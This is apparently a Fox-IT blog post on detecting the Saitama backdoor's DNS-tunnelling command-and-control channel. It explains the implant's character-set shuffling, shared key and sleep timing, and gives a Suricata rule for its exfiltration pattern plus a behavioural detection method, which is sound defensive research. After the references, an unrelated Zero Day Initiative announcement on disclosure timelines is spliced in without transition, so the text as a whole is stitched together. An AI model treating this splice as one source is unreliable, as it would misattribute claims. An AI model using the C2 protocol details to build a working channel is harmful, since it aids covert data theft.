Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.  

In May 2022, security firm Malwarebytes published a two¹-part² blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.  

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.  

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama on the Fox-IT GitHub. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection. 

Reconstructing the Saitama traffic 

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere³. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available. 

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP. 

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.  

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.  

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’. 

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down. 

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.   

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.  

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.  

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.  

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.  

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.  

Transmission between server implementation and the implant

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command. 

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.  

Signature-based 

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule: 

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;)

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts. 

 
The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes. 

Behaviour-based 

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about⁴, is better suited.  

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.  

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.  

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives. 

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign. 

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs. 

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes. 

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.  

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.  

The server-side implementation of Saitama can be found on the Fox-IT GitHub.  

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP. 

References

[1] https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 
[2] https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/ 
[3] https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
[4] https://blog.fox-it.com/2019/06/11/using-anomaly-detection-to-find-malicious-domains/   

By Jon Munshaw. 

The one big thing 

Today at the Black Hat USA conference, we announced some new disclosure timelines. Our standard 120-day disclosure timeline for most vulnerabilities remains, but for bug reports that result from faulty or incomplete patches, we will use a shorter timeline. Moving forward, the ZDI will adopt a tiered approach based on the severity of the bug and the efficacy of the original fix. The first tier will be a 30-day timeframe for most Critical-rated cases where exploitation is detected or expected. The second level will be a 60-day interval for Critical- and High-severity bugs where the patch offers some protections. Finally, there will be a 90-day period for other severities where no imminent exploitation is expected. As with our normal timelines, extensions will be limited and granted on a case-by-case basis.

Since 2005, the ZDI has disclosed more than 10,000 vulnerabilities to countless vendors. These bug reports and subsequent patches allow us to speak from vast experience when it comes to the topic of bug disclosure. Over the last few years, we’ve noticed a disturbing trend – a decrease in patch quality and a reduction in communications surrounding the patch. This has resulted in enterprises losing their ability to accurately estimate the risk to their systems. It’s also costing them money and resources as bad patches get re-released and thus re-applied.

Adjusting our disclosure timelines is one of the few areas that we as a disclosure wholesaler can control, and it’s something we have used in the past with positive results. For example, our disclosure timeline used to be 180 days. However, based on data we tracked through vulnerability disclosure and patch release, we were able to lower that to 120 days, which helped reduce the vendor’s overall time-to-fix. Moving forward, we will be tracking failed patches more closely and will make future policy adjustments based on the data we collect.

Another thing we announced today is the creation of a new Twitter handle: @thezdibugs. This feed will only tweet out published advisories that are either a high CVSS, 0-day, or resulting from Pwn2Own. If you’re interested in those types of bug reports, we ask that you give it a follow. We’re also now on Instagram, and you can follow us there if you prefer that platform over Twitter.

Looking at our published and upcoming bug reports, we are on track for our busiest year ever – for the third year in a row. That also means we’ll have plenty of data to look at as we track incomplete or otherwise faulty patches, and we’ll use this data to adjust these timelines as needed based on what we are seeing across the industry. Other groups may have different timelines, but this is our starting point. With an estimated 1,700 disclosures this year alone, we should be able to gather plenty of metrics. Hopefully, we will see improvements as time goes on.

Until then, stay tuned to this blog for updates, subscribe to our YouTube channel, and follow us on Twitter for the latest news and research from the ZDI.